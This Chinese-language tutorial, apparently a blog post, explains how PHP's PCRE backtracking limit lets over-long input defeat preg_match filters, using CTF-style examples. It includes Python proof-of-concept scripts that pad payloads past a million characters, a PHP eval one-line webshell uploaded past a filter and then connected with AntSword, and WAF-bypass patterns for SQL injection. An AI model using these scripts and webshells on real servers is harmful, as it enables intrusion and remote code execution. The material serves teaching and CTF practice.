PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是：

DFA（确定性有限状态自动机）

NFA（非确定性有限状态自动机）

二、回溯的过程

三、 PHP 的 pcre.backtrack_limit 限制利用

例题一

回溯绕过步骤 ：

1、运行结果： 可见无法匹配

2、尝试匹配：依旧无法匹配

3、再次尝试：发现拿到匹配结果

原因：

总结：

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟：

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试

---

一、正则表达式概述

正则表达式是一个可以被 “有限状态自动机”接受的语言类。

有限状态自动机

        其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。

        而常见的正则引擎，又被细分为 DFA（确定性有限状态自动机）与 NFA（非确定性有限状态自动机）。

匹配输入的过程分别是：

DFA（确定性有限状态自动机）

        从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
 

NFA（非确定性有限状态自动机）

        从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于 NFA 的执行过程存在回溯，所以其性能会劣于 DFA，但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎，其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

<?php
function is_php($data){  return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*，假设匹配的输入是 <?php phpinfo();//aaaaa，实际执行流程是这样的：

回溯过程

         在第 4 步的时候，因为第一个 .* 可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是 //aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符 [(`;?>]。

        所以 NFA 就开始回溯，先吐出一个 a，输入变成第 5 步显示的 //aaaa，但仍然匹配不上正则，继续吐出 a，变成 //aaa，仍然匹配不上……

        最终直到吐出;，输入变成第 12 步显示的 <?php phpinfo()，此时 ，.* 匹配的是 php phpinfo()，而后面的 ; 则匹配上 [(`;?>] ，这个结果满足正则表达式的要求，于是不再回溯。13 步开始向后匹配;，14 步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

        在调试正则表达式的时候，我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限：

回溯次数上限默认是 100 万

回溯次数超过了 100 万，返回的非 1 和 0，是 false。

preg_match 返回的非 1 和 0，而是 false。

preg_match 函数返回 false 表示此次执行失败了，我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的原因的确是回溯次数超出了限制

所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对 PHP 语言的限制。

对应的 POC 如下：

import requests
from io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF：

例一：

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}

均存在上述问题，通过大量回溯可以进行绕过。

例二：
 

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中，如果我输入 UNION/*aaaaa*/SELECT，这个正则表达式执行流程如下：

.+? 匹配到/因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配*S 匹配*失败，回溯，再由.+? 匹配*因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配 aS 匹配 a 失败，回溯，再由.+? 匹配 a...回溯次数随着 a 的数量增加而增加。所以，我们仍然可以通过发送大量 a，来使回溯次数超出 pcre.backtrack_limit 限制，进而绕过 WAF：

例题一

<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];if(!areyouok($greeting)){// NULL != false// Null !== false// null !== false// strposif(strpos($greeting,'Merry Christmas') !== false){   //字符查找，如果查找到返回字符的位置，没有就返回falseecho 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}

回溯绕过步骤 ：

1、运行结果： 可见无法匹配

2、尝试匹配：依旧无法匹配

3、再次尝试：发现拿到匹配结果

原因：

此时greeting传递的是数组，元素是123，而 strpos验证的是字符串

由上可见：在strpos这个对字符串处理的函数中传递数组，那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比，如果为真，则进行下去，为假则结束。

当只有一个 = bool(false)，返回值为false,程序执行结束​​​

<?php
var_dump(NULL != false);
?>

当有两个 == 时，返回值为true,程序继续执行

<?php
var_dump(NULL !== false);
?>

知识点补充：

PHP中 比较 0、false、null，'' "

松散比较：使用两个等号 == 比较，只比较值，不比较类型。 严格比较：用三个等号 === 比较，除了比较值，也比较类型。 == 在进行比较的时候，会先将字符串类型转化成相同，再比较

0 == false: bool(true)
0 === false: bool(false)0 == null: bool(true)
0 === null: bool(false)false == null: bool(true)
false === null: bool(false)"0" == false: bool(true)
"0" === false: bool(false)"0" == null: bool(false)
"0" === null: bool(false)"" == false: bool(true)
"" === false: bool(false)"" == null: bool(true)
"" === null: bool(false)

总结：

1、绕过该正则

插入代码：

greeting[]=123;

 此时绕过第一个正则

接着会返回

  null !== false;

根据严格不相等原则，此时返回结果是true，因此，代码将会继续执行

例题二

<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,'Merry Christmas') !== false){echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>
​
​

思路： 只要将if(!areyouok($greeting))为假，并且含有‘Merry Christmas’字符，回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post payload = {'greeting' : 'Merry Christmas' + 'a' * 1000001
}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)

回溯超过一百万次后，绕过正则，此时if(!areyouok($greeting))为假，可见最终打印出'Merry Christmas'，由此可见绕过完成

回溯过程模拟：

正则回溯实例

例题三

文件上传漏洞

<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { exit("bad request");
} else {@mkdir($user_dir, 0755); $path = $user_dir . '/' . 'oupeng.php'; //利用move_uploaded_file将临时文件，复制到$pathmove_uploaded_file($_FILES['file']['tmp_name'], $path);
​header("Location: $path", true, 303); 
} 
?>

1、编写文件上传脚本

<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Xss-filter</title>
</head>
<body><form action="./file_upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form> 
</body>
</html>

2、上传任意一个文件

 

注：php上传文件时会生成一个临时文件，当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

from requests import post files = {'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}url = 'http://127.0.0.1/xss_location/demo6.php'res = post(url ,files=files, allow_redirects=False)print (res.headers)

查看并执行python代码是否成功

temp文件出现

此时，一句话木马已经写入

使用中国蚁剑进行连接测试

 连接成功，此时已经绕过漏洞。